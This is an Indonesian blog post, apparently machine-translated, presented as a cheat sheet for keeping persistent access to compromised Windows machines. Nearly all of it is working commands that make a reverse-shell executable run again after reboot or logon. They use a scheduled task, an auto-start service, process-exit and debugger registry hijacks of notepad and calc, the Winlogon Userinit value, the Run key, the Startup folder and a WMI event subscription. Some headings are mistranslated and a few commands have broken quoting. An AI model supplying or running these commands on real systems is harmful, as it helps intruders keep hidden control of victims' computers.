Perkenalan

Selamat datang di artikel baru ini, di sini Anda akan memiliki CheatSheet untuk mendapatkan kegigihan di sistem Windows, di sini kita akan melihat banyak cara untuk melakukannya dan terakhir saya akan membuat alat untuk mengotomatiskan semua ini yang saya buat di C++.

Apa itu kegigihan?

Persistence terdiri dari teknik yang digunakan musuh untuk menjaga akses ke sistem saat restart, mengubah kredensial, dan interupsi lain yang dapat memutus akses mereka. Teknik yang digunakan untuk persistensi meliputi akses, tindakan, atau perubahan konfigurasi apa pun yang memungkinkan mereka mempertahankan pijakan pada sistem, seperti mengganti atau membajak kode yang sah atau menambahkan kode startup.

Ini akan menjadi definisi yang paling benar, tetapi menurut saya persistensi pada dasarnya memungkinkan Anda untuk terus memiliki akses atau untuk dapat terus beroperasi di mesin korban kapan saja, bahkan setelah mematikan komputer kami akan menerima shell kami lagi tanpa menginfeksi ulang perangkat korban.

Indeks

• Tugas yang dijadwalkan
• Jasa
• Tutup Aplikasi
• Buka Aplikasi
• WinLogon
• Jalankan Daftar
• 
  WMIC Folder Mulai

Tugas yang dijadwalkan:

Tugas terjadwal adalah salah satu cara paling sederhana untuk mencapai kegigihan, masalahnya adalah lebih mudah bagi pengguna untuk menemukannya, tetapi pengguna biasa biasanya tidak menyadarinya.

Untuk membuat ini saya perlu menggunakan schtasks:

Untuk membuat tugas baru:

schtasks /CREATE /SC MINUTE /TN "Reverse Shell" /TR "C:\Users\s12de\Downloads\shell.exe"

      
                

                    
                    
                
            

      
                

                    
                    
                
            

Layanan Windows adalah komponen inti dari sistem operasi yang mengelola segalanya mulai dari memori dan manajemen perangkat hingga manajemen aplikasi pihak ketiga serta kredensial dan preferensi pengguna, mirip dengan daemon Unix.

POC:

Untuk memulai, kami membutuhkan instance PowerShell:

Dan sekarang saya membuat layanan baru, dengan startup otomatis , layanan ini mengeksekusi biner yang ditentukan dalam BinaryPathName:

New-Service -Name "s12" -BinaryPathName "C:\Users\s12de\Downloads\shell.exe" -Description "PersistenceWindows" -StartupType Automatic

      
                

                    
                    
                
            

sc start s12

      
                

                    
                    
                
            

      
                

                    
                    
                
            

Cara selanjutnya adalah favorit saya, cara ini memungkinkan Anda untuk mengeksekusi biner Anda ketika pengguna menutup proses atau biner yang ditentukan. Dalam hal ini saya membuat shell terbalik ketika pengguna menyelesaikan proses notepad.exe .

Untuk melakukan ini kita perlu menjalankan 3 perintah dalam cmd:

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512

      
                

                    
                    
                
            
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1

      
                

                    
                    
                
            
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "C:\Users\s12de\Downloads\shell.exe"

      
                

                    
                    
                
            

Ketika saya menutup notepad secara otomatis saya menerima shell terbalik

Buka Aplikasi:

Cara selanjutnya adalah favorit kedua saya, cara ini memungkinkan Anda untuk mengeksekusi biner Anda saat pengguna membuka proses atau biner yang ditentukan. Dalam hal ini saya membuat shell terbalik ketika pengguna membuka proses calc.exe .

Untuk melakukan ini kita perlu menjalankan 2 perintah dalam cmd:

copy calc.exe _calc.exe

      
                

                    
                    
                
            
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\calc.exe" /v Debugger /t reg_sz /d "cmd /C _calc.exe & C:\Users\s12de\Downloads\shell.exe /f

      
                

                    
                    
                
            

Saat pengguna membuka kalkulator, saya menerima koneksi shell terbalik.

MenangLogon:

Winlogon adalah komponen Windows yang menangani berbagai aktivitas seperti Logon, Logoff, memuat profil pengguna selama otentikasi, shutdown, layar kunci, dll. Perilaku semacam ini dikelola oleh registri yang menentukan proses mana yang akan dimulai selama logon Windows. Dari sudut pandang tim merah, kejadian ini bisa menjadi pemicu yang akan mengeksekusi muatan sewenang-wenang untuk kegigihan.

reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit

      
                

                    
                    
                
            

reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /d "Userinit.exe, C:\Users\s12de\Downloads\shell.exe" /f

      
                

                    
                    
                
            

Kunci Daftar telah dimodifikasi!

Jalankan Daftar

Registri adalah database hierarkis yang berisi data penting untuk pengoperasian Windows dan aplikasi serta layanan yang berjalan di Windows. Data disusun dalam format pohon. Setiap simpul dalam pohon disebut kunci . Setiap kunci dapat berisi subkunci dan entri data yang disebut nilai.

POC:

Dalam hal ini saatnya menggunakan Run Register, register ini adalah salah satu yang paling penting dalam sistem Windows, tetapi dalam hal ini Anda memiliki keuntungan, Anda tidak memerlukan izin Administrator untuk menjalankan ini:

reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v S12 /t REG_SZ /d "C:\Users\s12de\Downloads\shell.exe"

      
                

                    
                    
                
            

Folder Mulai

Setelah reboot atau masuk-pengguna, sistem operasi Windows, mengeksekusi file yang dapat dieksekusi yang ada di jalur yang digunakan untuk Folder Startup biasanya adalah ini:

C:\Users\%username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

copy "shell.exe" "C:\Users\s12de\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\shell.exe"

      
                

                    
                    
                
            

      
                

                    
                    
                
            

Instrumentasi Manajemen Windows (WMI) memungkinkan administrator sistem untuk melakukan tugas secara lokal dan jarak jauh. Dari perspektif red teaming WMI dapat digunakan untuk melakukan beberapa aktivitas seperti gerakan lateral, persistensi, kesadaran situasional, eksekusi kode dan sebagai perintah dan kontrol (C2). Fakta bahwa WMI adalah bagian dari Windows yang ada di hampir semua sistem operasi Windows (Windows 98- Windows 10) memungkinkan aktivitas ofensif ini tidak terdeteksi oleh tim biru.

Eksekusi akan mengembalikan sesi shell terbalik dalam 60 detik setelah setiap reboot.

Dalam hal ini saya perlu menjalankan 3 perintah:

wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="persistence", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"

      
                

                    
                    
                
            
wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="persistence", ExecutablePath="C:\windows\system32\tita.exe",CommandLineTemplate="C:\Users\s12de\Downloads\shell.exe"

      
                

                    
                    
                
            
wmic /NAMESPACE:"\\root\subscription" PATH  __FilterToConsumerBinding CREATE Filter="__EventFilter.Name="persistence"", Consumer="CommandLineEventConsumer.Name="persistence""

      
                

                    
                    
                
            

Sampai di sini artikel hari ini, CheatSheet ini saya yakin sudah sangat baik dan akan sangat berguna, selain itu saya membuat alat dengan C++ untuk mengotomatiskan semua ini. Perhatikan Github saya.

Terima kasih telah membaca ini :)

S12.